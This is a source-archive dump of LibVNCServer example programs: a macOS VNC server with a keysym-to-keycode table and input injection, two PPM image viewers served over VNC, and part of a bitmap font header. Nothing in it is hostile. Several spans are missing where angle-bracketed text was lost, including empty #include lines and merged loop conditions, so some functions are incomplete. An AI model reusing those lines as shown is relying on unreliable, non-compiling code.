3, /* f */ XK_g, 5, /* g */ XK_h, 4, /* h */ XK_i, 34, /* i */ XK_j, 38, /* j */ XK_k, 40, /* k */ XK_l, 37, /* l */ XK_m, 46, /* m */ XK_n, 45, /* n */ XK_o, 31, /* o */ XK_p, 35, /* p */ XK_q, 12, /* q */ XK_r, 15, /* r */ XK_s, 1, /* s */ XK_t, 17, /* t */ XK_u, 32, /* u */ XK_v, 9, /* v */ XK_w, 13, /* w */ XK_x, 7, /* x */ XK_y, 16, /* y */ XK_z, 6, /* z */ /* Numbers */ XK_0, 29, /* 0 */ XK_1, 18, /* 1 */ XK_2, 19, /* 2 */ XK_3, 20, /* 3 */ XK_4, 21, /* 4 */ XK_5, 23, /* 5 */ XK_6, 22, /* 6 */ XK_7, 26, /* 7 */ XK_8, 28, /* 8 */ XK_9, 25, /* 9 */ /* Symbols */ XK_exclam, 18, /* ! */ XK_at, 19, /* @ */ XK_numbersign, 20, /* # */ XK_dollar, 21, /* $ */ XK_percent, 23, /* % */ XK_asciicircum, 22, /* ^ */ XK_ampersand, 26, /* & */ XK_asterisk, 28, /* * */ XK_parenleft, 25, /* ( */ XK_parenright, 29, /* ) */ XK_minus, 27, /* - */ XK_underscore, 27, /* _ */ XK_equal, 24, /* = */ XK_plus, 24, /* + */ XK_grave, 10, /* ` */ /* XXX ? */ XK_asciitilde, 10, /* ~ */ XK_bracketleft, 33, /* [ */ XK_braceleft, 33, /* { */ XK_bracketright, 30, /* ] */ XK_braceright, 30, /* } */ XK_semicolon, 41, /* ; */ XK_colon, 41, /* : */ XK_apostrophe, 39, /* ' */ XK_quotedbl, 39, /* " */ XK_comma, 43, /* , */ XK_less, 43, /* < */ XK_period, 47, /* . */ XK_greater, 47, /* > */ XK_slash, 44, /* / */ XK_question, 44, /* ? */ XK_backslash, 42, /* \ */ XK_bar, 42, /* | */ /* "Special" keys */ XK_space, 49, /* Space */ XK_Return, 36, /* Return */ XK_Delete, 117, /* Delete */ XK_Tab, 48, /* Tab */ XK_Escape, 53, /* Esc */ XK_Caps_Lock, 57, /* Caps Lock */ XK_Num_Lock, 71, /* Num Lock */ XK_Scroll_Lock, 107, /* Scroll Lock */ XK_Pause, 113, /* Pause */ XK_BackSpace, 51, /* Backspace */ XK_Insert, 114, /* Insert */ /* Cursor movement */ XK_Up, 126, /* Cursor Up */ XK_Down, 125, /* Cursor Down */ XK_Left, 123, /* Cursor Left */ XK_Right, 124, /* Cursor Right */ XK_Page_Up, 116, /* Page Up */ XK_Page_Down, 121, /* Page Down */ XK_Home, 115, /* Home */ XK_End, 119, /* End */ /* Numeric keypad */ XK_KP_0, 82, /* KP 0 */ XK_KP_1, 83, /* KP 1 */ XK_KP_2, 84, /* KP 2 */ XK_KP_3, 85, /* KP 3 */ XK_KP_4, 86, /* KP 4 */ XK_KP_5, 87, /* KP 5 */ XK_KP_6, 88, /* KP 6 */ XK_KP_7, 89, /* KP 7 */ XK_KP_8, 91, /* KP 8 */ XK_KP_9, 92, /* KP 9 */ XK_KP_Enter, 76, /* KP Enter */ XK_KP_Decimal, 65, /* KP . */ XK_KP_Add, 69, /* KP + */ XK_KP_Subtract, 78, /* KP - */ XK_KP_Multiply, 67, /* KP * */ XK_KP_Divide, 75, /* KP / */ /* Function keys */ XK_F1, 122, /* F1 */ XK_F2, 120, /* F2 */ XK_F3, 99, /* F3 */ XK_F4, 118, /* F4 */ XK_F5, 96, /* F5 */ XK_F6, 97, /* F6 */ XK_F7, 98, /* F7 */ XK_F8, 100, /* F8 */ XK_F9, 101, /* F9 */ XK_F10, 109, /* F10 */ XK_F11, 103, /* F11 */ XK_F12, 111, /* F12 */ /* Modifier keys */ XK_Shift_L, 56, /* Shift Left */ XK_Shift_R, 56, /* Shift Right */ XK_Control_L, 59, /* Ctrl Left */ XK_Control_R, 59, /* Ctrl Right */ XK_Meta_L, 58, /* Logo Left (-> Option) */ XK_Meta_R, 58, /* Logo Right (-> Option) */ XK_Alt_L, 55, /* Alt Left (-> Command) */ XK_Alt_R, 55, /* Alt Right (-> Command) */ /* Weirdness I can't figure out */ #if 0 XK_3270_PrintScreen, 105, /* PrintScrn */ ??? 94, 50, /* International */ XK_Menu, 50, /* Menu (-> International) */ #endif }; void KbdAddEvent(rfbBool down, rfbKeySym keySym, struct _rfbClientRec* cl) { int i; CGKeyCode keyCode = -1; int found = 0; if(((int)cl->clientData)==-1) return; /* viewOnly */ rfbUndim(); for (i = 0; i < (sizeof(keyTable) / sizeof(int)); i += 2) { if (keyTable[i] == keySym) { keyCode = keyTable[i+1]; found = 1; break; } } if (!found) { rfbErr("warning: couldn't figure out keycode for X keysym %d (0x%x)\n", (int)keySym, (int)keySym); } else { /* Hopefully I can get away with not specifying a CGCharCode. (Why would you need both?) */ CGPostKeyboardEvent((CGCharCode)0, keyCode, down); } } void PtrAddEvent(buttonMask, x, y, cl) int buttonMask; int x; int y; rfbClientPtr cl; { CGPoint position; if(((int)cl->clientData)==-1) return; /* viewOnly */ rfbUndim(); position.x = x; position.y = y; CGPostMouseEvent(position, TRUE, 8, (buttonMask & (1 << 0)) ? TRUE : FALSE, (buttonMask & (1 << 1)) ? TRUE : FALSE, (buttonMask & (1 << 2)) ? TRUE : FALSE, (buttonMask & (1 << 3)) ? TRUE : FALSE, (buttonMask & (1 << 4)) ? TRUE : FALSE, (buttonMask & (1 << 5)) ? TRUE : FALSE, (buttonMask & (1 << 6)) ? TRUE : FALSE, (buttonMask & (1 << 7)) ? TRUE : FALSE); } rfbBool viewOnly = FALSE, sharedMode = FALSE; void ScreenInit(int argc, char**argv) { int bitsPerSample=CGDisplayBitsPerSample(kCGDirectMainDisplay); rfbScreen = rfbGetScreen(&argc,argv, CGDisplayPixelsWide(kCGDirectMainDisplay), CGDisplayPixelsHigh(kCGDirectMainDisplay), bitsPerSample, CGDisplaySamplesPerPixel(kCGDirectMainDisplay),4); if(!rfbScreen) exit(0); rfbScreen->serverFormat.redShift = bitsPerSample*2; rfbScreen->serverFormat.greenShift = bitsPerSample*1; rfbScreen->serverFormat.blueShift = 0; gethostname(rfbScreen->thisHost, 255); rfbScreen->paddedWidthInBytes = CGDisplayBytesPerRow(kCGDirectMainDisplay); rfbScreen->frameBuffer = (char *)CGDisplayBaseAddress(kCGDirectMainDisplay); /* we cannot write to the frame buffer */ rfbScreen->cursor = NULL; rfbScreen->ptrAddEvent = PtrAddEvent; rfbScreen->kbdAddEvent = KbdAddEvent; if(sharedMode) { rfbScreen->alwaysShared = TRUE; } rfbInitServer(rfbScreen); } static void refreshCallback(CGRectCount count, const CGRect *rectArray, void *ignore) { int i; if(startTime>0 && time(0)>startTime+maxSecsToConnect) rfbShutdown(0); for (i = 0; i < count; i++) rfbMarkRectAsModified(rfbScreen, rectArray[i].origin.x,rectArray[i].origin.y, rectArray[i].origin.x + rectArray[i].size.width, rectArray[i].origin.y + rectArray[i].size.height); } void clientGone(rfbClientPtr cl) { rfbShutdown(cl); } enum rfbNewClientAction newClient(rfbClientPtr cl) { if(startTime>0 && time(0)>startTime+maxSecsToConnect) rfbShutdown(cl); if(disconnectAfterFirstClient) cl->clientGoneHook = clientGone; cl->clientData=(void*)((viewOnly)?-1:0); return(RFB_CLIENT_ACCEPT); } int main(int argc,char *argv[]) { int i; for(i=argc-1;i>0;i--) if(inewClientHook = newClient; /* enter background event loop */ rfbRunEventLoop(rfbScreen,40,TRUE); /* enter OS X loop */ CGRegisterScreenRefreshCallback(refreshCallback, NULL); RunApplicationEventLoop(); rfbDimmingShutdown(); return(0); /* never ... */ } void rfbShutdown(rfbClientPtr cl) { rfbScreenCleanup(rfbScreen); rfbDimmingShutdown(); exit(0); } libvncserver-LibVNCServer-0.9.11/examples/pnmshow.c000066400000000000000000000061611303145525000222270ustar00rootroot00000000000000/** * @example pnmshow.c */ #include #include #include #ifndef HAVE_HANDLEKEY static void HandleKey(rfbBool down,rfbKeySym key,rfbClientPtr cl) { if(down && (key==XK_Escape || key=='q' || key=='Q')) rfbCloseClient(cl); } #endif int main(int argc,char** argv) { FILE* in=stdin; int i,j,k,l,width,height,paddedWidth; char buffer[1024]; rfbScreenInfoPtr rfbScreen; enum { BW, GRAY, TRUECOLOUR } picType=TRUECOLOUR; int bytesPerPixel,bitsPerPixelInFile; if(argc>1) { in=fopen(argv[1],"rb"); if(!in) { printf("Couldn't find file %s.\n",argv[1]); exit(1); } } fgets(buffer,1024,in); if(!strncmp(buffer,"P6",2)) { picType=TRUECOLOUR; bytesPerPixel=4; bitsPerPixelInFile=3*8; } else if(!strncmp(buffer,"P5",2)) { picType=GRAY; bytesPerPixel=1; bitsPerPixelInFile=1*8; } else if(!strncmp(buffer,"P4",2)) { picType=BW; bytesPerPixel=1; bitsPerPixelInFile=1; } else { printf("Not a ppm.\n"); exit(2); } /* skip comments */ do { fgets(buffer,1024,in); } while(buffer[0]=='#'); /* get width & height */ sscanf(buffer,"%d %d",&width,&height); rfbLog("Got width %d and height %d.\n",width,height); if(picType!=BW) fgets(buffer,1024,in); else width=1+((width-1)|7); /* vncviewers have problems with widths which are no multiple of 4. */ paddedWidth = width; if(width&3) paddedWidth+=4-(width&3); /* initialize data for vnc server */ rfbScreen = rfbGetScreen(&argc,argv,paddedWidth,height,8,(bitsPerPixelInFile+7)/8,bytesPerPixel); if(!rfbScreen) return 0; if(argc>1) rfbScreen->desktopName = argv[1]; else rfbScreen->desktopName = "Picture"; rfbScreen->alwaysShared = TRUE; rfbScreen->kbdAddEvent = HandleKey; /* enable http */ rfbScreen->httpDir = "../webclients"; /* allocate picture and read it */ rfbScreen->frameBuffer = (char*)malloc(paddedWidth*bytesPerPixel*height); fread(rfbScreen->frameBuffer,width*bitsPerPixelInFile/8,height,in); fclose(in); if(picType!=TRUECOLOUR) { rfbScreen->serverFormat.trueColour=FALSE; rfbScreen->colourMap.count=256; rfbScreen->colourMap.is16=FALSE; rfbScreen->colourMap.data.bytes=malloc(256*3); for(i=0;i<256;i++) memset(rfbScreen->colourMap.data.bytes+3*i,i,3); } switch(picType) { case TRUECOLOUR: /* correct the format to 4 bytes instead of 3 (and pad to paddedWidth) */ for(j=height-1;j>=0;j--) { for(i=width-1;i>=0;i--) for(k=2;k>=0;k--) rfbScreen->frameBuffer[(j*paddedWidth+i)*4+k]= rfbScreen->frameBuffer[(j*width+i)*3+k]; for(i=width*4;iframeBuffer[j*paddedWidth*4+i]=0; } break; case GRAY: break; case BW: /* correct the format from 1 bit to 8 bits */ for(j=height-1;j>=0;j--) for(i=width-1;i>=0;i-=8) { l=(unsigned char)rfbScreen->frameBuffer[(j*width+i)/8]; for(k=7;k>=0;k--) rfbScreen->frameBuffer[j*paddedWidth+i+7-k]=(l&(1< #include #include #ifndef LIBVNCSERVER_ALLOW24BPP int main() { printf("I need the ALLOW24BPP LibVNCServer flag to work\n"); exit(1); } #else static void HandleKey(rfbBool down,rfbKeySym key,rfbClientPtr cl) { if(down && (key==XK_Escape || key=='q' || key=='Q')) rfbCloseClient(cl); } int main(int argc,char** argv) { FILE* in=stdin; int j,width,height,paddedWidth; char buffer[1024]; rfbScreenInfoPtr rfbScreen; if(argc>1) { in=fopen(argv[1],"rb"); if(!in) { printf("Couldn't find file %s.\n",argv[1]); exit(1); } } fgets(buffer,1024,in); if(strncmp(buffer,"P6",2)) { printf("Not a ppm.\n"); exit(2); } /* skip comments */ do { fgets(buffer,1024,in); } while(buffer[0]=='#'); /* get width & height */ sscanf(buffer,"%d %d",&width,&height); rfbLog("Got width %d and height %d.\n",width,height); fgets(buffer,1024,in); /* vncviewers have problems with widths which are no multiple of 4. */ paddedWidth = width; /* if your vncviewer doesn't have problems with a width which is not a multiple of 4, you can comment this. */ if(width&3) paddedWidth+=4-(width&3); /* initialize data for vnc server */ rfbScreen = rfbGetScreen(&argc,argv,paddedWidth,height,8,3,3); if(!rfbScreen) return 0; if(argc>1) rfbScreen->desktopName = argv[1]; else rfbScreen->desktopName = "Picture"; rfbScreen->alwaysShared = TRUE; rfbScreen->kbdAddEvent = HandleKey; /* enable http */ rfbScreen->httpDir = "../webclients"; /* allocate picture and read it */ rfbScreen->frameBuffer = (char*)malloc(paddedWidth*3*height); fread(rfbScreen->frameBuffer,width*3,height,in); fclose(in); /* pad to paddedWidth */ if(width != paddedWidth) { int padCount = 3*(paddedWidth - width); for(j=height-1;j>=0;j--) { memmove(rfbScreen->frameBuffer+3*paddedWidth*j, rfbScreen->frameBuffer+3*width*j, 3*width); memset(rfbScreen->frameBuffer+3*paddedWidth*(j+1)-padCount, 0,padCount); } } /* initialize server */ rfbInitServer(rfbScreen); /* run event loop */ rfbRunEventLoop(rfbScreen,40000,FALSE); return(0); } #endif libvncserver-LibVNCServer-0.9.11/examples/radon.h000066400000000000000000000411361303145525000216450ustar00rootroot00000000000000static unsigned char radonFontData[2280]={ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 32 */ 0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x10,0x10,0x00,0x00, /* 33 */ 0x00,0x28,0x28,0x28,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 34 */ 0x00,0x44,0x44,0xba,0x44,0x44,0x44,0xba,0x44,0x44,0x00,0x00, /* 35 */ 0x10,0x7e,0x80,0x90,0x80,0x7c,0x02,0x12,0x02,0xfc,0x10,0x00, /* 36 */ 0x00,0x62,0x92,0x94,0x68,0x10,0x2c,0x52,0x92,0x8c,0x00,0x00, /* 37 */ 0x00,0x60,0x90,0x90,0x40,0x20,0x90,0x8a,0x84,0x7a,0x00,0x00, /* 38 */ 0x00,0x10,0x10,0x10,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 39 */ 0x00,0x08,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x08,0x00,0x00, /* 40 */ 0x00,0x10,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x10,0x00,0x00, /* 41 */ 0x00,0x10,0x92,0x54,0x10,0x10,0x54,0x92,0x10,0x00,0x00,0x00, /* 42 */ 0x00,0x00,0x10,0x10,0x10,0xd6,0x10,0x10,0x10,0x00,0x00,0x00, /* 43 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x08,0x30,0x00, /* 44 */ 0x00,0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0x00,0x00,0x00,0x00, /* 45 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x10,0x00,0x00, /* 46 */ 0x00,0x02,0x02,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x00,0x00, /* 47 */ 0x00,0x7c,0x82,0x82,0x82,0xba,0x82,0x82,0x82,0x7c,0x00,0x00, /* 48 */ 0x00,0x08,0x28,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x00,0x00, /* 49 */ 0x00,0xfc,0x02,0x02,0x02,0x7c,0x80,0x80,0x00,0xfe,0x00,0x00, /* 50 */ 0x00,0xfc,0x02,0x02,0x02,0x3c,0x02,0x02,0x02,0xfc,0x00,0x00, /* 51 */ 0x00,0x82,0x82,0x82,0x82,0x7a,0x02,0x02,0x02,0x02,0x00,0x00, /* 52 */ 0x00,0xfe,0x00,0x80,0x80,0x7c,0x02,0x02,0x02,0xfc,0x00,0x00, /* 53 */ 0x00,0x7c,0x80,0x80,0xbc,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 54 */ 0x00,0xfc,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x00,0x00, /* 55 */ 0x00,0x7c,0x82,0x82,0x82,0x7c,0x82,0x82,0x82,0x7c,0x00,0x00, /* 56 */ 0x00,0x7c,0x82,0x82,0x82,0x82,0x7a,0x02,0x02,0xfc,0x00,0x00, /* 57 */ 0x00,0x00,0x10,0x10,0x00,0x00,0x00,0x10,0x10,0x00,0x00,0x00, /* 58 */ 0x00,0x00,0x10,0x10,0x00,0x00,0x00,0x10,0x10,0x60,0x00,0x00, /* 59 */ 0x00,0x08,0x08,0x10,0x20,0x40,0x20,0x10,0x08,0x08,0x00,0x00, /* 60 */ 0x00,0x00,0x00,0x00,0xfe,0x00,0xfe,0x00,0x00,0x00,0x00,0x00, /* 61 */ 0x00,0x10,0x10,0x08,0x04,0x02,0x04,0x08,0x10,0x10,0x00,0x00, /* 62 */ 0x00,0xfc,0x02,0x02,0x02,0x1c,0x20,0x20,0x00,0x20,0x00,0x00, /* 63 */ 0x00,0x7c,0x82,0x8a,0x92,0x92,0x92,0x8c,0x80,0x7c,0x00,0x00, /* 64 */ 0x00,0x7c,0x82,0x82,0x82,0x82,0xba,0x82,0x82,0x82,0x00,0x00, /* 65 */ 0x00,0xbc,0x82,0x82,0x82,0xbc,0x82,0x82,0x82,0xbc,0x00,0x00, /* 66 */ 0x00,0x7c,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7c,0x00,0x00, /* 67 */ 0x00,0xbc,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0xbc,0x00,0x00, /* 68 */ 0x00,0x7c,0x80,0x80,0x80,0xb8,0x80,0x80,0x80,0x7c,0x00,0x00, /* 69 */ 0x00,0x7c,0x80,0x80,0x80,0xb8,0x80,0x80,0x80,0x80,0x00,0x00, /* 70 */ 0x00,0x7c,0x80,0x80,0x80,0x80,0x9a,0x82,0x82,0x7c,0x00,0x00, /* 71 */ 0x00,0x82,0x82,0x82,0x82,0xba,0x82,0x82,0x82,0x82,0x00,0x00, /* 72 */ 0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 73 */ 0x00,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x84,0x78,0x00,0x00, /* 74 */ 0x00,0x82,0x82,0x82,0x82,0xbc,0x82,0x82,0x82,0x82,0x00,0x00, /* 75 */ 0x00,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7e,0x00,0x00, /* 76 */ 0x00,0x7c,0x82,0x92,0x92,0x92,0x92,0x82,0x82,0x82,0x00,0x00, /* 77 */ 0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x00,0x00, /* 78 */ 0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 79 */ 0x00,0xbc,0x82,0x82,0x82,0xbc,0x80,0x80,0x80,0x80,0x00,0x00, /* 80 */ 0x00,0x7c,0x82,0x82,0x82,0x82,0x8a,0x8a,0x82,0x7c,0x00,0x00, /* 81 */ 0x00,0xbc,0x82,0x82,0x82,0xbc,0x82,0x82,0x82,0x82,0x00,0x00, /* 82 */ 0x00,0x7e,0x80,0x80,0x80,0x7c,0x02,0x02,0x02,0xfc,0x00,0x00, /* 83 */ 0x00,0xfe,0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 84 */ 0x00,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 85 */ 0x00,0x82,0x82,0x82,0x82,0x82,0x84,0x88,0x90,0xa0,0x00,0x00, /* 86 */ 0x00,0x82,0x82,0x82,0x82,0x92,0x92,0x92,0x82,0x7c,0x00,0x00, /* 87 */ 0x00,0x82,0x82,0x82,0x82,0x7c,0x82,0x82,0x82,0x82,0x00,0x00, /* 88 */ 0x00,0x82,0x82,0x82,0x82,0x7c,0x00,0x10,0x10,0x10,0x00,0x00, /* 89 */ 0x00,0xfc,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x7e,0x00,0x00, /* 90 */ 0x00,0x1c,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1c,0x00,0x00, /* 91 */ 0x00,0x80,0x80,0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x00,0x00, /* 92 */ 0x00,0x38,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x38,0x00,0x00, /* 93 */ 0x00,0x38,0x44,0x44,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 94 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00, /* 95 */ 0x00,0x08,0x08,0x08,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 96 */ 0x00,0x00,0x00,0x00,0x3c,0x02,0x3a,0x42,0x42,0x3c,0x00,0x00, /* 97 */ 0x00,0x00,0x40,0x40,0x5c,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 98 */ 0x00,0x00,0x00,0x00,0x3c,0x40,0x40,0x40,0x40,0x3c,0x00,0x00, /* 99 */ 0x00,0x00,0x02,0x02,0x3a,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 100 */ 0x00,0x00,0x00,0x00,0x3c,0x42,0x42,0x5c,0x40,0x3c,0x00,0x00, /* 101 */ 0x00,0x00,0x0c,0x10,0x10,0x10,0x54,0x10,0x10,0x10,0x00,0x00, /* 102 */ 0x00,0x00,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3a,0x02,0x3c, /* 103 */ 0x00,0x00,0x40,0x40,0x5c,0x42,0x42,0x42,0x42,0x42,0x00,0x00, /* 104 */ 0x00,0x00,0x08,0x00,0x08,0x08,0x08,0x08,0x08,0x08,0x00,0x00, /* 105 */ 0x00,0x00,0x08,0x00,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x30, /* 106 */ 0x00,0x00,0x40,0x40,0x42,0x42,0x5c,0x42,0x42,0x42,0x00,0x00, /* 107 */ 0x00,0x00,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x00,0x00, /* 108 */ 0x00,0x00,0x00,0x00,0x7c,0x82,0x92,0x92,0x92,0x92,0x00,0x00, /* 109 */ 0x00,0x00,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x42,0x00,0x00, /* 110 */ 0x00,0x00,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 111 */ 0x00,0x00,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x5c,0x40,0x40, /* 112 */ 0x00,0x00,0x00,0x00,0x3c,0x42,0x42,0x42,0x42,0x3a,0x02,0x02, /* 113 */ 0x00,0x00,0x00,0x00,0x0c,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 114 */ 0x00,0x00,0x00,0x00,0x3e,0x40,0x3c,0x02,0x02,0x7c,0x00,0x00, /* 115 */ 0x00,0x00,0x10,0x10,0x10,0x54,0x10,0x10,0x10,0x0c,0x00,0x00, /* 116 */ 0x00,0x00,0x00,0x00,0x42,0x42,0x42,0x42,0x42,0x3c,0x00,0x00, /* 117 */ 0x00,0x00,0x00,0x00,0x42,0x42,0x42,0x44,0x48,0x50,0x00,0x00, /* 118 */ 0x00,0x00,0x00,0x00,0x92,0x92,0x92,0x92,0x82,0x7c,0x00,0x00, /* 119 */ 0x00,0x00,0x00,0x00,0x42,0x42,0x3c,0x42,0x42,0x42,0x00,0x00, /* 120 */ 0x00,0x00,0x00,0x00,0x42,0x42,0x42,0x42,0x42,0x3a,0x02,0x3c, /* 121 */ 0x00,0x00,0x00,0x00,0x7c,0x02,0x0c,0x30,0x40,0x3e,0x00,0x00, /* 122 */ 0x00,0x1c,0x20,0x20,0x20,0x40,0x20,0x20,0x20,0x1c,0x00,0x00, /* 123 */ 0x00,0x10,0x10,0x10,0x10,0x00,0x10,0x10,0x10,0x10,0x00,0x00, /* 124 */ 0x00,0x38,0x04,0x04,0x04,0x02,0x04,0x04,0x04,0x38,0x00,0x00, /* 125 */ 0x00,0x04,0x38,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 126 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 160 */ 0x00,0x10,0x10,0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 161 */ 0x00,0x00,0x08,0x3e,0x40,0x48,0x48,0x40,0x3e,0x08,0x00,0x00, /* 162 */ 0x00,0x1c,0x20,0x20,0x20,0xa8,0x20,0x20,0x42,0xbc,0x00,0x00, /* 163 */ 0x00,0x00,0x82,0x38,0x44,0x44,0x44,0x38,0x82,0x00,0x00,0x00, /* 164 */ 0x00,0x82,0x82,0x82,0x7c,0x00,0x54,0x10,0x54,0x10,0x00,0x00, /* 165 */ 0x00,0x10,0x10,0x10,0x00,0x00,0x00,0x10,0x10,0x10,0x00,0x00, /* 166 */ 0x00,0x38,0x40,0x38,0x44,0x44,0x44,0x44,0x38,0x04,0x38,0x00, /* 167 */ 0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 168 */ 0x00,0x7c,0x82,0x9a,0xa2,0xa2,0xa2,0x9a,0x82,0x7c,0x00,0x00, /* 169 */ 0x38,0x04,0x34,0x44,0x38,0x00,0x7c,0x00,0x00,0x00,0x00,0x00, /* 170 */ 0x00,0x00,0x00,0x24,0x48,0x00,0x48,0x24,0x00,0x00,0x00,0x00, /* 171 */ 0x00,0x00,0x00,0x00,0x00,0xfc,0x02,0x02,0x02,0x00,0x00,0x00, /* 172 */ 0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00, /* 173 */ 0x00,0x7c,0x82,0x92,0xaa,0xb2,0xaa,0xaa,0x82,0x7c,0x00,0x00, /* 174 */ 0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 175 */ 0x38,0x44,0x44,0x44,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 176 */ 0x00,0x10,0x10,0xd6,0x10,0x10,0x00,0xfe,0x00,0x00,0x00,0x00, /* 177 */ 0x38,0x04,0x18,0x20,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 178 */ 0x38,0x04,0x38,0x04,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 179 */ 0x18,0x20,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 180 */ 0x00,0x00,0x00,0x00,0x44,0x44,0x44,0x44,0x44,0x58,0x40,0x40, /* 181 */ 0x00,0x79,0xfa,0xfa,0xfa,0x7a,0x02,0x0a,0x0a,0x0a,0x0a,0x00, /* 182 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00, /* 183 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x10,0x00, /* 184 */ 0x08,0x18,0x08,0x08,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 185 */ 0x38,0x44,0x44,0x38,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00, /* 186 */ 0x00,0x00,0x00,0x48,0x24,0x00,0x24,0x48,0x00,0x00,0x00,0x00, /* 187 */ 0x20,0xa2,0x22,0x22,0x24,0x08,0x10,0x29,0x49,0x85,0x01,0x01, /* 188 */ 0x20,0xa2,0x22,0x22,0x24,0x08,0x10,0x2e,0x41,0x86,0x08,0x0f, /* 189 */ 0xe0,0x12,0xe2,0x12,0xe4,0x08,0x10,0x29,0x49,0x85,0x01,0x01, /* 190 */ 0x00,0x08,0x00,0x08,0x08,0x70,0x80,0x80,0x80,0x7e,0x00,0x00, /* 191 */ 0x20,0x18,0x00,0x7c,0x82,0x82,0x82,0xba,0x82,0x82,0x00,0x00, /* 192 */ 0x08,0x30,0x00,0x7c,0x82,0x82,0x82,0xba,0x82,0x82,0x00,0x00, /* 193 */ 0x38,0x44,0x00,0x7c,0x82,0x82,0x82,0xba,0x82,0x82,0x00,0x00, /* 194 */ 0x32,0x4c,0x00,0x7c,0x82,0x82,0x82,0xba,0x82,0x82,0x00,0x00, /* 195 */ 0x6c,0x00,0x00,0x7c,0x82,0x82,0x82,0xba,0x82,0x82,0x00,0x00, /* 196 */ 0x38,0x44,0x38,0x7c,0x82,0x82,0x82,0xba,0x82,0x82,0x00,0x00, /* 197 */ 0x00,0x77,0x88,0x88,0x88,0x8b,0xa8,0x88,0x88,0x8b,0x00,0x00, /* 198 */ 0x00,0x7c,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x6c,0x10,0x20, /* 199 */ 0x20,0x18,0x00,0x7c,0x80,0x80,0xb8,0x80,0x80,0x7c,0x00,0x00, /* 200 */ 0x08,0x30,0x00,0x7c,0x80,0x80,0xb8,0x80,0x80,0x7c,0x00,0x00, /* 201 */ 0x38,0x44,0x00,0x7c,0x80,0x80,0xb8,0x80,0x80,0x7c,0x00,0x00, /* 202 */ 0x6c,0x00,0x00,0x7c,0x80,0x80,0xb8,0x80,0x80,0x7c,0x00,0x00, /* 203 */ 0x20,0x18,0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 204 */ 0x08,0x30,0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 205 */ 0x38,0x44,0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 206 */ 0x6c,0x00,0x00,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x00,0x00, /* 207 */ 0x00,0xbc,0x82,0x82,0x82,0xb2,0x82,0x82,0x82,0xbc,0x00,0x00, /* 208 */ 0x32,0x4c,0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x82,0x00,0x00, /* 209 */ 0x20,0x18,0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 210 */ 0x08,0x30,0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 211 */ 0x38,0x44,0x00,0x7c,0x82,0x82,0x82,0x82,0x82,0x7c,0x00,0x00, /* 212 */ 